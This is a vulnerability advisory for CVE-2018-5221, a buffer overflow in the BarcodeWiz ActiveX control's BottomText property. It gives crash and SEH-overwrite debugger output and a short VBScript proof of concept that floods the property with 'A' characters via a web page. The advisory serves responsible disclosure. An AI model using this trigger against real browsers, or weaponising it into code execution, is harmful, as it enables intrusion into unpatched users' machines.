BarcodeWiz ActiveX Control Buffer Overflow

`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/BARCODEWIZ-v6.7-ACTIVEX-COMPONENT-BUFFER-OVERFLOW.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
=================  
www.barcodewiz.com  
  
  
Product:  
=============  
BarcodeWiz ActiveX Control < 6.7  
  
BarCodeWiz OnLabel. Generates dynamic barcodes from your imported Excel, CSV, or Access files. Print auto incrementing barcodes;   
Choose from hundreds of label layouts; Export as PDF or XPS.  
  
  
Vulnerability Type:  
===================  
Buffer Overflow  
  
  
CVE Reference:  
==============  
CVE-2018-5221  
  
  
Security Issue:  
================  
BarcodeWiz.DLL BottomText and TopText propertys suffer from buffer overflow vulnerability resulting in (SEH) "Structured Exceptional Handler" overwrite .  
This can be exploited by a remote attacker to potentially execute arbitrary attacker supplied code. User would have to visit a malicious webpage using  
InternetExplorer where the exploit could be triggered.  
  
  
SEH chain of main thread  
Address SE handler  
0018DAC0 kernel32.754E48F3  
0018EE34 41414141  
41414141 *** CORRUPT ENTRY ***  
  
  
Exception Code: ACCESS_VIOLATION  
Disasm: 2045665 MOV [EDX+ECX],AL (BarcodeWiz.DLL)  
  
SEH Chain:  
--------------------------------------------------  
1 41414141   
  
  
Called From Returns To   
--------------------------------------------------  
BarcodeWiz.2045665 BarcodeWiz.202FF50   
BarcodeWiz.202FF50 41414141   
41414141 41414141   
41414141 41414141   
41414141 41414141   
41414141 41414141   
41414141 41414141   
  
  
Report for Clsid: {CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6}  
RegKey Safe for Script: True  
RegKey Safe for Init: True  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller,data   
IPersist Safe: Safe for untrusted: caller,data   
IPStorage Safe: Safe for untrusted: caller,data   
  
  
Exploit/POC:  
=============  
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='VICTIM' />  
<script language='vbscript'>  
  
PAYLOAD=String(12308, "A")  
  
VICTIM.BottomText = PAYLOAD  
  
</script>  
  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: December 26, 2017  
Vendor Acknowledgement: January 2, 2018  
Vendor "updated version released this week." : January 2, 2018  
January 6, 2018 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`